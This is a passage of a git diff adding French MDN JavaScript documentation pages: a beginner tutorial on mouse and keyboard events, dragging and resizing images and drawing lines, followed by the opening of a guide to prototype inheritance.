+ <dd>
+  Chacun de ces opérateurs utilise l'algorithme ToInt32. Or, il n'y a qu'une seule représentation possible pour 0 sous forme d'un entier sur 32 bits, c'est pourquoi <code>-0</code> ne pourra pas être « conservé » par une combinaison de ces opérations (même si cette combinaison est équivalente, logiquement, à une identité). Par exemple <code>Object.is(~~(-0), -0)</code> et <code>Object.is(-0 &lt;&lt; 2 &gt;&gt; 2, -0)</code> produiront la valeur <code>false</code>.</dd>
+</dl>
+<p>Il peut être dangereux d'utiliser <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> quand on ne souhaite pas différencier les deux valeurs <code>-0</code> et <code>+0</code>. En revanche, si on souhaite distinguer ces deux valeurs, cette fonction est idéale.</p>
diff --git a/files/fr/web/javascript/guide_de_demarrage/index.html b/files/fr/web/javascript/guide_de_demarrage/index.html
new file mode 100644
index 0000000000..e88794ab56
--- /dev/null
+++ b/files/fr/web/javascript/guide_de_demarrage/index.html
@@ -0,0 +1,337 @@
+---
+title: Tutoriel pour débuter en JavaScript
+slug: Web/JavaScript/guide_de_demarrage
+tags:
+  - Beginner
+  - JavaScript
+  - NeedsBeginnerUpdate
+  - Tutorial
+translation_of: Learn/Getting_started_with_the_web/JavaScript_basics
+---
+<h2 id="Why_JavaScript.3F" name="Why_JavaScript.3F">Pourquoi JavaScript ?</h2>
+<p>JavaScript est un langage de programmation puissant, complexe et trop souvent mal compris. Il permet le développement rapide d'applications avec lesquelles l'utilisateur va pouvoir intéragir pour saisir des données et observer le résultat de leur traitement.</p>
+<p>L'avantage premier de JavaScript, dont le standard correspondant est connu sous l'appellation ECMAScript, est qu'il est centré sur le navigateur web, aussi il produira un résultat similaire sur toutes les plateformes supportées par le navigateur. Les exemples sur cette page, tout comme Google Maps, fonctionnent sur Linux, OS X and Windows. Avec le nombre toujours grandissant de bibliothèques JavaScript, il est de plus en plus facile de naviguer dans le document, sélectionner des éléments du DOM, créer des animations, gérer les évènements, et développer des applications AJAX. Contrairement à l'hyper médiatisation d'autres technologies promues par divers intérêts propriétaires, JavaScript est réellement le seul langage multi-plateformes côté client qui est à la fois gratuit et universellement adopté.</p>
+<h2 id="What_you_should_already_know" name="What_you_should_already_know">Ce que vous devriez déjà savoir</h2>
+<p>JavaScript est un langage très facile d'accès. Tout ce dont vous avez besoin pour commencer est d'un éditeur de texte et d'un navigateur web.</p>
+<p>Bon nombre d'autres technologies allant au delà de la portée de ce document peuvent êtres intégrées et développées dans la continuité de JavaScript.<br>
+ Ne vous attendez pas à réaliser une application comme Google Maps dès vos premières lignes en JavaScript.</p>
+<h2 id="Getting_Started" name="Getting_Started">Pour commencer</h2>
+<p>Il est très facile de débuter en JavaScript. Vous n'avez pas besoin d'avoir des outils de développement installés. Vous n'avez pas besoin de savoir utiliser une console, Make, ou d'utiliser un compilateur. JavaScript est interprété par votre navigateur web. Tout ce dont vous avez besoin est d'enregistrer votre programme dans un fichier texte puis de l'ouvrir dans votre navigateur. C'est tout.</p>
+<p>JavaScript est un excellent langage de programmation pour débuter l'apprentissage de langages informatiques. Il permet des retours instantanés pour le nouvel étudiant, et lui fera découvrir des outils dont il ne manquera pas d'apprécier l'utilité dans la vie réelle. C'est un contraste saisissant en comparaison des langages C, C++ et Java qui peuvent être utiles pour certaines applications particulières.</p>
+<h2 id="Browser_Compatibility_Issues" name="Browser_Compatibility_Issues">Les problèmes de compatibilité entre les navigateurs</h2>
+<p>Il existe certaines variations concernant la disponibilité des fonctionnalités entre les différents navigateurs. Mozilla Firefox, Google Chrome, Microsoft Internet Explorer, Apple Safari et Opera se comportent différement. <span style="line-height: 1.5;">Vous pouvez atténuer ces fluctuations en utilisants les diverses API JavaScript multi-plateformes disponibles. Ces API fournissent des fonctionnalités communes et masquent certaines des variations entre les navigateurs.</span></p>
+<h2 id="How_to_try_the_Examples" name="How_to_try_the_Examples">Comment essayer les exemples</h2>
+<p>Les exemples qui suivent possédent des échantillons de code. Il y a de multiples façons d'essayer ces exemples. Si vous posséder votre propre site, vous pouvez les sauvegarder comme nouvelles pages de celui-ci.</p>
+<p>Si vous ne possédez pas de site personnel, vous pouvez sauvegarder ces exemples sous forme de fichiers sur votre ordinateur et les ouvrir dans le navigateur que vous utilisez en ce moment.<br>
+ JavaScript est un langage très simple à utiliser pour commencer la programmation pour cette raison. Vous n'avez pas besoin de compilateur, ou d'un environnement de développement ; votre navigateur est le seul outil dont vous avez besoin pour démarrer.</p>
+<p>Vour pouvez également utiliser certains site comme <a href="http://jsfiddle.net/">jsfiddle.net</a> pour tester du code JavaScript.</p>
+<h2 id="Example:_Catching_a_mouse_click" name="Example:_Catching_a_mouse_click">Exemple : Capturer le clic de la souris</h2>
+<p>Les spécificités de la gestion d'événements (types d'événements, enregistrement des gestionnaires, propagation, etc.) sont trop vastes pour être totalement couverte par ce simple exemple. De plus, celui-ci ne peut présenter la capture du clic souris sans approfondir un minimum le système d'événements JavaScript. Garder à l'esprit que cet exemple va seulement éfleurer l'exhaustivité des événements JavaScript et que si vous souhaitez aller au delà des fonctionnalités basiques qui y sont décrites, lisez en plus à propos du système d'<a href="/fr/docs/Web/JavaScript/Guide/Boucle%C3%89v%C3%A9nements">événements JavaScript</a>.</p>
+<p>Les événements « souris » sont un sous-ensemble de la pléthore d'événements déclenchés par le navigateur Web en réponse aux actions de l'utilisateur. Ce qui suit est une liste des événements émis en réponse aux actions d'un utilisateur sur la souris <span style="line-height: 1.5;">:</span></p>
+<ul>
+ <li><code>click</code> - transmis quand un utilisateur clic avec la souris</li>
+ <li><code>dblclick</code> - transmis quand un utilisateur double-clic avec la souris</li>
+ <li><code>mousedown</code> - transmis lorsqu'un utilisateur presse un bouton de la souris (la première moitié d'un clic)</li>
+ <li><code>mouseup</code> - transmis lorsqu'un utilisateur relâche un bouton de la souris (la seconde moitié d'un clic)</li>
+ <li><code>mouseout</code> - transmis lorsque le pointeur de la souris quitte les limites graphiques d'un objet</li>
+ <li><code>mouseover</code> - transmis lorsque le pointeur de la souris entre dans les limites graphiques d'un objet</li>
+ <li><code>mousemove</code> - transmis lorsque le pointeur de la souris bouge à l'intérieur des limites graphiques d'un objet</li>
+ <li><code>contextmenu</code> - transmis lorsqu'un utilisateur effectue un clic-droit.</li>
+</ul>
+<p>Noter que dans les versions d'HTML, les événements <em>inline</em> (ceux ajoutés en tant qu'attribut de balise), doivent être écris en minuscule et que les gestionnaires d'événements dans les scripts sont aussi en minuscule.</p>
+<p>La méthode la plus simple pour capturer ces événements et enregistrer les gestionnaires - en utilisant le HTML - est de spécificer chaque événement en tant qu'attribut de l'élément désiré.</p>
+<pre class="brush:js">  &lt;span onclick="alert('Hello World!');"&gt;Cliquer ici&lt;/span&gt;</pre>
+<p>Le code JavaScript que vous souhaitez exécuter peut être disposé en ligne dans l'élément ou bien être placé dans un éléménet &lt;script&gt; au sein de votre page HTML :</p>
+<pre class="brush: js">&lt;script&gt;
+  function clickHandler() {
+     alert("Hello, World!");
+  }
+&lt;/script&gt;
+&lt;span onclick="clickHandler();"&gt;Cliquer ici&lt;/span&gt;</pre>
+<p>Il est possible de capturer et d'utiliser l'événement qui se produit. Cela permet au développeur d'accéder à plus d'informations (par exemple : l'objet qui a reçu l'événement, le type de l'événement et le bouton de la souris utilisé). Par exemple :</p>
+<pre class="brush: js">&lt;script&gt;
+  function clickHandler(événement) {
+    var eType = événement.type;
+    /* l'instruction suivante est utilisée à des fins de compatibilité */
+    /* Firefox renseignera la propriété target de l'événement */
+    /* IE renseignera la propriété srcElement */
+    var eTarget = événement.target || événement.srcElement;
+
+    alert( "événement capturé (type = " + eType + ", cible = " + eTarget + ")" );
+  }
+&lt;/script&gt;
+&lt;span onclick="clickHandler(event);"&gt;Cliquer ici&lt;/span&gt;</pre>
+<p>En plus de pouvoir recevoir des événements dans le HTML, il est possible de définir de nouveaux éléments HTML en JavaScript et de définir leurs attributs. L'exemple ci-après permet d'ajouter un élément {{HTMLElement("span")}} au corps de la page et de définir les attributs nécessaires pour qu'il reçoive les événements liés à la souris.</p>
+<pre class="brush: js">&lt;body&gt;&lt;/body&gt;
+&lt;script&gt;
+  function mouseeventHandler(event) {
+    /* La ligne qui suit est utilisée à des fins de compatibilité */
+    /* IE ne fournit pas directement l'événement */
+    /* il faut obtenir une référence vers l'événement si nécessaire */
+    if (!event) event = window.event;
+
+    /* on récupère le type de l'événement et la cible */
+    var eType = event.type;
+    var eTarget = event.target || event.srcElement;
+    alert(eType +' événement sur l'élément avec l'identifiant '+ eTarget.id);
+  }
+
+ function onloadHandler() {
+   /* on récupère une référence à l'élément 'body' de la page */
+   var body = document.body;
+   /* on crée un élément span sur lequel on pourra cliquer */
+   var span = document.createElement('span');
+   span.id = 'SpanExemple';
+   span.appendChild(document.createTextNode ('Cliquer ici !'));
+
+   /* on inscrit l'objet span aux différents événements liés à la souris
+      les événements sont écrits en minuscules, le nom du gestionnaire d'événement
+      peut avoir n'importe quelle casse.
+   */
+   span.onmousedown = mouseeventHandler;
+   span.onmouseup = mouseeventHandler;
+   span.onmouseover = mouseeventHandler;
+   span.onmouseout = mouseeventHandler;
+
+   /* on affiche l'élément span sur la page */
+   body.appendChild(span);
+}
+
+window.onload = onloadHandler; // on remplace la fonction (on ne l'appelle pas) et donc on ne met pas de parenthèses
+&lt;/script&gt;</pre>
+<h2 id="Example:_Catching_a_keyboard_event" name="Example:_Catching_a_keyboard_event">Exemple : Intercepter un événement clavier</h2>
+<p>De la même façon que pour les événements liés à la souris, il est possible d'utiliser les événements JavaScript pour capturer les interactions liées au clavier. Un événement est déclenché à chaque fois qu'une touche du clavier est utilisée.</p>
+<p>La liste des événéments disponibles pour le clavier est plus restreinte que celle des événements pour la souris :</p>
+<ul>
+ <li><code>keypress</code> : se produit quand on appuie sur une touche et qu'on la relâche</li>
+ <li><code>keydown</code> : se produit quand on appuie sur une touche et que celle-ci n'a toujours pas été relâchée</li>
+ <li><code>keyup</code> : se produit quand la touche du clavier est relâchée</li>
+ <li>TextInput (disponible pour les navigateurs Webkit au moment de l'écriture) : se produit quand du texte est saisi, que ce soit via un coller du presse-papier, une commande vocale ou une saisie clavier. Cet événement ne sera pas traité dans cet article.</li>
+</ul>
+<p>Lors d'un événement <code><a class="new " href="/fr/docs/Web/Events/keypress" rel="internal">keypress</a></code>, la valeur Unicode de la touche pressée est enregistrée grâce à la propriété <code>keyCode</code> ou <code><a href="/fr/docs/DOM/event.charCode" rel="internal">charCode</a></code> (mais jamais dans les deux). Si la touche pressée génère un caractère (par exemple 'a'), <code>charCode</code> représentera la valeur du caractère en tenant compte de la casse (<code>charCode</code> gère l'appui simultané avec la touche shift pour écrire en majuscules). Dans les autres cas, le code de la touche est enregistré dans <code>keyCode</code>.</p>
+<p>La façon la plus simple d'intercepter les événements clavier est ici aussi d'enregistrer des gestionnaires d'événements (<em>handlers</em>) dans le HTML et de spécifier quels événements doivent être gérés. Par exemple :</p>
+<pre class="brush: js">&lt;input type="text" onkeypress="alert ('Coucou monde !');"&gt;</pre>
+<p>De la même façon qu'avec les événements liés à la souris, le code JavaScript peut être présenté dans la définition de l'attribut ou bien au sein d'un bloc {{HTMLElement("script")}} de la page HTML utilisée :</p>
+<pre class="brush: js">&lt;script&gt;
+  function keypressHandler() {
+    alert ("Coucou monde !");
+  }
+&lt;/script&gt;
+
+&lt;input onkeypress="keypressHandler();" /&gt;</pre>
+<p>De la même façon que pour les événements liés à la souris, on peut enregistrer les détails de l'événement et de la cible de cet événement :</p>
+<pre class="brush: js">&lt;script type="text/javascript"&gt;
+  function keypressHandler(evt) {
+      var eType = evt.type; // Renverra "keypress" comme type d'événement
+      /* ici aussi on utilise une instruction pour que le code fonctionne
+         sur les différents navigateurs (mozilla utilise which et les autre
+         navigateurs utilisent keyCode.
+         On peut ici utiliser l'opérateur ternaire pour obtenir le résultat */
+      var keyCode = evt.which?evt.which:evt.keyCode;
+      var eCode = 'keyCode est ' + keyCode;
+      var eChar = 'charCode est ' + String.fromCharCode(keyCode); // ou evt.charCode
+      alert ("Événement capturé (type = " + eType + ", valeur Unicode pour la touche = " + eCode + ", valeur ASCII = " + eChar + ")");
+   }
+&lt;/script&gt;
+&lt;input onkeypress="keypressHandler(event);" /&gt;</pre>
+<p>Il est possible de capturer n'importe quel élément clavier en associant un gestionnaire d'événement avec ceux du document grâce à une fonction :</p>
+<pre class="brush: js">&lt;script&gt;
+  document.onkeypress = keypressHandler;
+  document.onkeydown = keypressHandler;
+  document.onkeyup = keypressHandler;
+&lt;/script&gt;</pre>
+<p>Voici un exemple complet qui illustre comment gérer les événements du clavier :</p>
+<pre class="brush: js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;script&gt;
+    var metaChar = false;
+    var toucheExemple = 16;
+    function keyEvent(event) {
+      var key = event.keyCode || event.which; // une autre syntaxe que l'opérateur ternaire s'il n'y a pas de keyCode
+      var keychar = String.fromCharCode(key);
+      if (key == toucheExemple) {
+        metaChar = true;
+      }
+      if (key != toucheExemple) {
+         if (metaChar) {
+            alert("Combinaison de la touche meta et de " + keychar)
+            metaChar = false;
+         } else {
+           alert("Touche utilisée : " + key);
+         }
+      }
+    }
+    function metaKeyUp(event) {
+      var key = event.keyCode || event.which;
+      if (key == toucheExemple) { metaChar = false; }
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body onkeydown="keyEvent(event)" onkeyup="metaKeyUp(event)"&gt;
+    Essayez de presser une touche !
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+<h3 id="Bugs_et_spécificités_des_navigateurs">Bugs et spécificités des navigateurs</h3>
+<p>Les deux propriétés des différents événements clavier sont <code>keyCode</code> et <code>charCode</code>. Pour faire simple, <code>keyCode</code> fait référence à la touche du clavier qui a été utilisée alors que <code>charCode</code> représente la valeur ASCII du caractère de la touche. Ces deux valeurs peuvent ne pas être les mêmes. Par exemple un 'a' (minuscule) et un 'A' (majuscule) auront le même <code>keyCode</code> car l'utilisateur appuiera sur la même touche du clavier. En revanche, la propriété<code> charCode</code> sera différente car le caractère sera différent.</p>
+<p>La navigateurs interprètent <code>charCode</code> de façons différentes. Ainsi, Internet Explorer et Opera ne supportent pas <code>charCode</code>. Cependant, l'information du caractère est bien fourni avec <code>keyCode</code> , mais uniquement lors de l'événement <code>keypress</code>. Lors de <code>keydown</code> et de <code>keyup</code> <code>keyCode</code> contient les informations liées à la touche utilisée. Firefox utilise un terme différent : <code>which</code> pour distinguer le caractère.</p>
+<p>Pour plus de précisions sur le fonctionnement des événements liés au clavier, voir la page sur l'API <a href="/fr/docs/Web/API/KeyboardEvent" title="https://developer.mozilla.org/en-US/docs/DOM/Event/UIEvent/KeyEvent">KeyboardEvent</a>.</p>
+<p>{{ draft() }}</p>
+<h2 id="Example:_Dragging_images_around" name="Example:_Dragging_images_around">Exemple : Déplacer des images</h2>
+<p>L'exemple qui suit permet de déplacer une image de Firefox sur la page :</p>
+<pre class="brush: js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;style&gt;
+img { position: absolute; }
+&lt;/style&gt;
+
+&lt;script&gt;
+window.onload = function() {
+
+  movMeId = document.getElementById("ImgMov");
+  movMeId.style.top = "80px";
+  movMeId.style.left = "80px";
+
+  document.onmousedown = coordinates;
+  document.onmouseup = mouseup;
+
+  function coordinates(e) {
+    if (e == null) { e = window.event;}
+
+    // sous IE e.srcElement définira l'élément cible alors que pour Firefox ce sera e.target
+    // Ces deux propriétés renvoient l'élément HTML pour lequel s'est produit l'événement.
+
+    var sender = (typeof( window.event ) != "undefined" ) ? e.srcElement : e.target;
+
+    if (sender.id=="ImgMov") {
+      mouseover = true;
+      pleft = parseInt(movMeId.style.left);
+      ptop = parseInt(movMeId.style.top);
+      xcoor = e.clientX;
+      ycoor = e.clientY;
+      document.onmousemove = moveImage;
+      return false;
+    }
+    return false;
+  }
+
+  function moveImage(e) {
+    if (e == null) { e = window.event; }
+    movMeId.style.left = pleft+e.clientX-xcoor+"px";
+    movMeId.style.top = ptop+e.clientY-ycoor+"px";
+    return false;
+  }
+
+  function mouseup(e) {
+    document.onmousemove = null;
+  }
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;img id="ImgMov" src="http://placehold.it/100x100&amp;text=JS" width="64" height="64"&gt;
+  &lt;p&gt;Vous pouvez déplacer l'image sur cette page.&lt;/p&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;</pre>
+<h2 id="Example:_Resizing_things" name="Example:_Resizing_things">Exemple : Redimensionner des éléments</h2>
+<div>
+ Voici un exemple de code qui permet de redimensionner une image (note : seul le rendu final est redimensionné, l'image de base ne sera pas redimensionnée).</div>
+<pre class="brush: js">&lt;!DOCTYPE html&gt;
+  &lt;html&gt;
+    &lt;head&gt;
+      &lt;style&gt;
+        #resizeImage {
+          margin-left: 100px;
+        }
+      &lt;/style&gt;
+      &lt;script&gt;
+      window.onload = function() {
+
+        var resizeId = document.getElementById("resizeImage");
+        var resizeStartCoordsX,
+            resizeStartCoordsY,
+            resizeEndCoordsX,
+            resizeEndCoordsY;
+
+        var resizeEndCoords;
+        var resizing = false;
+
+        document.onmousedown = coordinatesMousedown;
+        document.onmouseup = coordinatesMouseup;
+
+        function coordinatesMousedown(e) {
+          if (e == null) {
+            e = window.event;
+          }
+
+          var element = (typeof( window.event ) != 'undefined' ) ? e.srcElement : e.target;
+
+          if (element.id == "resizeImage") {
+            resizing = true;
+            resizeStartCoordsX = e.clientX;
+            resizeStartCoordsY = e.clientY;
+          }
+          return false;
+        }
+
+        function coordinatesMouseup(e) {
+          if (e == null) {
+            e = window.event;
+          }
+
+          if (resizing === true) {
+            var currentImageWidth = parseInt(resizeId.width);
+            var currentImageHeight = parseInt(resizeId.height);
+
+            resizeEndCoordsX = e.clientX;
+            resizeEndCoordsY = e.clientY;
+
+            resizeId.style.height = currentImageHeight - (resizeStartCoordsY - resizeEndCoordsY) + 'px';
+            resizeId.style.width = currentImageWidth - (resizeStartCoordsX - resizeEndCoordsX) + 'px';
+
+            resizing = false;
+          }
+          return false;
+        }
+      }
+      &lt;/script&gt;
+    &lt;/head&gt;
+
+    &lt;body&gt;
+      &lt;img id="resizeImage" src="http://upload.wikimedia.org/wikipedia/commons/e/e7/Mozilla_Firefox_3.5_logo_256.png"
+width="64" height="64"&gt;
+      &lt;p&gt;Cliquer sur l'image et étirer pour la redimensionner.&lt;/p&gt;
+    &lt;/body&gt;
+
+  &lt;/html&gt;</pre>
+<div>
+  </div>
+<h2 id="Example:_Drawing_Lines" name="Example:_Drawing_Lines">Exemple : Tracer des lignes</h2>
+<pre class="brush: js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;script&gt;
+function dessinerLigne(ax, ay, bx, by)
+{
+    if(ay &gt; by)
+    {
+        bx = ax+bx;
+        ax = bx-ax;
+        bx = bx-ax;
+        by = ay+by;
+        ay = by-ay;
+        by = by-ay;
+    }
+    var calc = Math.atan((ay-by)/(bx-ax));
+    calc = (calc*180)/Math.PI;
+    var length = Math.sqrt((ax-bx)*(ax-bx)+(ay-by)*(ay-by));
+    document.body.innerHTML += "&lt;div id='ligne' style='height:" + length + "px;width:1px;background-color:black;position:absolute;top:" + (ay) + "px;left:" + (ax) + "px;transform:rotate(" + calc + "deg);-ms-transform:rotate(" + calc + "deg);transform-origin:0% 0%;-moz-transform:rotate(" + calc + "deg);-moz-transform-origin:0% 0%;-webkit-transform:rotate(" + calc  + "deg);-webkit-transform-origin:0% 0%;-o-transform:rotate(" + calc + "deg);-o-transform-origin:0% 0%;'&gt;&lt;/div&gt;"
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="dessinerLigne(200,400,500,900);"&gt; &lt;!-- Remplacez les coordonnées que vous souhaitez utiliser --&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
diff --git a/files/fr/web/javascript/héritage_et_chaîne_de_prototypes/index.html b/files/fr/web/javascript/héritage_et_chaîne_de_prototypes/index.html
new file mode 100644
index 0000000000..255516427a
--- /dev/null
+++ b/files/fr/web/javascript/héritage_et_chaîne_de_prototypes/index.html
@@ -0,0 +1,573 @@
+---
+title: Héritage et chaîne de prototype
+slug: Web/JavaScript/Héritage_et_chaîne_de_prototypes
+tags:
+  - Guide
+  - Héritage
+  - Intermédiaire
+  - JavaScript
+  - OOP
+translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain
+---
+<div>{{jsSidebar("Advanced")}}</div>
+
+<p>JavaScript peut prêter à confusion losqu'on est habitué à manipuler des langages de programmation manipulant les classes (tels que Java ou C++). En effet, JavaScript est un langage dynamique et ne possède pas de concept de classe à part entière (le mot-clé <code>class</code> a certes été ajouté avec ES2015 mais il s'agit uniquement de sucre syntaxique, JavaScript continue de reposer sur l'héritage prototypique).</p>
+
+<p>En ce qui concerne l'héritage, JavaScript n'utilise qu'une seule structure : les objets. Chaque objet possède une propriété privée qui contient un lien vers un autre objet appelé le <strong>prototype</strong>. Ce prototype possède également son prototype et ainsi de suite, jusqu'à ce qu'un objet ait {{jsxref("null")}} comme prototype. Par définition, <code>null</code> ne possède pas de prototype et est ainsi le dernier maillon de la <strong>chaîne de prototype</strong>.</p>
+
+<p>La majorité des objets JavaScript sont des instances de {{jsxref("Object")}} qui est l'avant dernier maillon de la chaîne de prototype.</p>
+
+<p>Bien que cette confusion (entre classe et prototype) soit souvent avancée comme l'une des faiblesses de JavaScript, le modèle prototypique est plus puissant que le modèle classique et il est notamment possible de construire un modèle classique à partir d'un modèle prototypique.</p>
+
+<h2 id="Héritage_et_chaîne_de_prototype">Héritage et chaîne de prototype</h2>
+
+<h3 id="Propriété_héritées">Propriété héritées</h3>
+
+<p>Les objets JavaScript sont des ensembles dynamiques de propriétés (les propriétés directement rattachées à un objet sont appelées <strong>propriétés en propre (<em>own properties</em>)</strong>). Les objets JavaScript possèdent également un lien vers un objet qui est leur prototype. Lorsqu'on tente d'accéder aux propriétés d'un objet, la propriété sera recherchée d'abord sur l'objet même, puis sur son prototype, puis sur le prototype du prototype et ainsi de suite jusqu'à ce qu'elle soit trouvée ou que la fin de la chaîne de prototype ait été atteinte.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Dans la spécification ECMAScript, on utilise la notation <code>unObjet.[[Prototype]]</code> pour faire référence au prototype de <code>unObjet</code>. Depuis ECMAScript 2015, on peut accéder à <code>[[Prototype]]</code> grâce aux accesseurs {{jsxref("Object.getPrototypeOf()")}} et {{jsxref("Object.setPrototypeOf()")}}. Cela est équivalent à la propriété JavaScript <code>__proto__</code> qui était non-standard avant ES2015 mais qui était de fait implémentée par la majorité des navigateurs.</p>
+
+<p>Cette propriété ne devrait pas être confondue avec la propriété <code><em>func</em>.prototype</code> des fonctions qui définissent le <code>[[Prototype]]</code> à affecter aux instances des objets créés par cette fonction lorsqu'elle est utilisée comme constructeur. La propriété <code><strong>Object.prototype</strong></code> représente le prototype de {{jsxref("Object")}}.</p>
+</div>
+
+<p>Voici ce qui se produit lorsqu'on tente d'accéder à une propriété :</p>
+
+<pre class="brush: js">// On commence par créer un objet o pour lequel la fonction f sera
+// son constructeur et lui créera deux propriétés en propre
+// a et b :
+let f = function () {
+   this.a = 1;
+   this.b = 2;
+}
+let o = new f(); // {a: 1, b: 2}
+
+// on ajoute des propriétés au prototype de la fonction
+// f
+f.prototype.b = 3;
+f.prototype.c = 4;
+
+// Note : on ne définit pas le prototype de f avec f.prototype = {b:3,c:4};
+// car cela briserait la chaîne de prototype
+
+// o.[[Prototype]] possède les propriétés b and c.
+// o.[[Prototype]].[[Prototype]] est Object.prototype.
+// Enfin, o.[[Prototype]].[[Prototype]].[[Prototype]] vaut null.
+// On a alors atteint la fin de la chaîne de prototype car,
+// par définition, null n'a pas de [[Prototype]].
+// Ainsi, la chaîne complète est ici :
+// {a: 1, b: 2} ---&gt; {b: 3, c: 4} ---&gt; Object.prototype ---&gt; null
+
+console.log(o.a); // 1
+// Existe-t-il une propriété 'a' en propre sur o ? Oui, elle vaut 1.
+
+console.log(o.b); // 2
+// Existe-t-il une propriété 'b' en propre sur o ? Oui, elle vaut 2.
+// Le prototype possède également une propriété 'b' mais elle n'est pas
+// utilisée.
+// C'est ce qu'on appelle l'ombrage (shadowing en anglais)
+
+console.log(o.c); // 4
+// Existe-t-il une propriété 'c' en propre sur o ? Non, on vérifie le
+// prototype.
+// Existe-t-il une propriété 'c' en propre sur o.[[Prototype]] ?
+// Oui, elle vaut 4.
+
+console.log(o.d); // undefined
+// Existe-t-il une propriété 'd' en propre sur o ? Non, on vérifie le
+// prototype.
+// Existe-t-il une propriété 'd' en propre sur o.[[Prototype]] ? Non, on vérifie le
+// prototype.
+// o.[[Prototype]].[[Prototype]] est Object.prototype et ne contient pas
+// de propriété 'd' par défaut. On vérifie son prototype.
+// o.[[Prototype]].[[Prototype]].[[Prototype]] est null, on arrête la recherche
+// aucune propriété n'est trouvée, le moteur renvoie undefined.
+</pre>
+
+<p>Lorsquon définit une propriété sur un objet, cela définit une propriété en propre. La seule exception se produit lorsqu'on définit <a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#Définir_des_accesseurs_et_des_mutateurs_(getters_et_setters)">un accesseur et/ou un mutateur</a> sur une propriété héritée.</p>
+
+<h3 id="Méthodes_héritées">Méthodes héritées</h3>
+
+<p>JavaScript ne possède pas de méthodes au sens des langages de classe. En effet, en JavaScript, toute fonction associée à un objet est également une propriété. Une fonction héritée se comportera comme n'importe quelle autre propriété (y compris pour l'ombrage mentionné ci-avant où on pourra parler de surcharge).</p>
+
+<p>Lorsqu'une fonction héritée est exécutée, la valeur de <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this"><code>this</code></a> pointe vers l'objet hérité et non vers l'objet prototype qui possède la fonction comme propriété en propre.</p>
+
+<pre class="brush: js">var o = {
+  a: 2,
+  m: function() {
+    return this.a + 1;
+  }
+};
+
+console.log(o.m()); // 3
+// Quand on appelle o.m ici, 'this' fera référence à o
+
+var p = Object.create(o);
+// p est un objet qui hérite de o
+
+p.a = 4; // on crée une propriété 'a' en propre sur p
+console.log(p.m()); // 5
+// lorsque p.m est appelée, 'this' fait référence à p.
+// Ainsi quand p hérite de m via o,
+// 'this.a' signifie p.a, soit la propriété 'a' de p
+
+
+</pre>
+
+<h2 id="Utiliser_les_prototypes_avec_JavaScript">Utiliser les prototypes avec JavaScript</h2>
+
+<p>Regardons un peu plus en détail ce qui se déroule en arrière-plan.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Pour tous les exempls suivants, nous vous invitons à ouvrir la "console" de votre navigateur pour y copier/coller/éditer les fragments de code. Pour savoir comment lancer cette console, vous pouvez lire la documentation des navigateurs : <a href="/fr/docs/Tools">Firefox</a>, <a href="https://developers.google.com/web/tools/chrome-devtools/">Chrome</a>, <a href="https://docs.microsoft.com/en-us/microsoft-edge/devtools-guide">Edge</a>.</p>
+</div>
+
+<p>En JavaScript, comme mentionné ci-dessus, les fonctions peuvent avoir des propriétés. Toutes les fonctions ont une propriété spéciale intitulée <code>prototype</code>.</p>
+
+<pre class="brush: js">function faireUnTruc(){}
+console.log( faireUnTruc.prototype ); // Object {...}
+// Peu importe comment vous déclarez la fonction.
+// une fonction en JavaScript aura toujours une propriété
+// prototype par défaut.
+var faireUnTruc= function(){};
+console.log(faireUnTruc.prototype); // Object {...}
+</pre>
+
+<p>Comme mentionné avant, <code>faireUnTruc()</code> possède une propriété par défaut <code>prototype</code>. Après avoir exécuté ce code dans une console, la console devrait afficher un objet semblable à :</p>
+
+<pre class="brush: js">{
+    constructor: ƒ faireUnTruc(),
+    __proto__: {
+        constructor: ƒ Object(),
+        hasOwnProperty: ƒ hasOwnProperty(),
+        isPrototypeOf: ƒ isPrototypeOf(),
+        propertyIsEnumerable: ƒ propertyIsEnumerable(),
+        toLocaleString: ƒ toLocaleString(),
+        toString: ƒ toString(),
+        valueOf: ƒ valueOf()
+    }
+}</pre>
+
+<p>On peut ajouter des propriétés au prototype de <code>faireUnTruc()</code> comme suit :</p>
+
+<pre class="brush: js">function faireUnTruc(){}
+faireUnTruc.prototype.toto = "truc";
+console.log( faireUnTruc.prototype );</pre>
+
+<p>Produira le résultat suivant :</p>
+
+<pre class="brush: js">{
+    toto: "truc",
+    constructor: ƒ faireUnTruc(),
+    __proto__: {
+        constructor: ƒ Object(),
+        hasOwnProperty: ƒ hasOwnProperty(),
+        isPrototypeOf: ƒ isPrototypeOf(),
+        propertyIsEnumerable: ƒ propertyIsEnumerable(),
+        toLocaleString: ƒ toLocaleString(),
+        toString: ƒ toString(),
+        valueOf: ƒ valueOf()
+    }
+}
+</pre>
+
+<p>On peut utiliser l'opérateur <code>new</code> afin de créer une instance de <code>faireUnTruc()</code> basée sur ce prototype. Pour utiliser l'opérateur <code>new</code>, il suffira d'appeler la fonction et de précéder cet appel avec le mot-clé <code>new</code>. Lorsqu'on appelle une fonction avec un opérateur <code>new</code>, celle-ci renvoie un objet qui est une instance de la fonction. On peut ensuite ajouter des propriétés sur cet objet.</p>
+
+<p>Voyons le code qui suit :</p>
+
+<pre class="brush: js">function faireUnTruc(){}
+faireUnTruc.prototype.toto = "truc"; // on ajoute une propriété au prototype
+var uneInstance = new faireUnTruc();
+uneInstance.prop = "une valeur"; // on ajoute une propriété sur l'objet
+console.log(uneInstance);</pre>
+
+<p>Exécuté, ce code produira le résultat suivant dans la console :</p>
+
+<pre class="brush: js">{
+    prop: "une valeur",
+    __proto__: {
+        toto: "truc",
+        constructor: ƒ faireUnTruc(),
+        __proto__: {
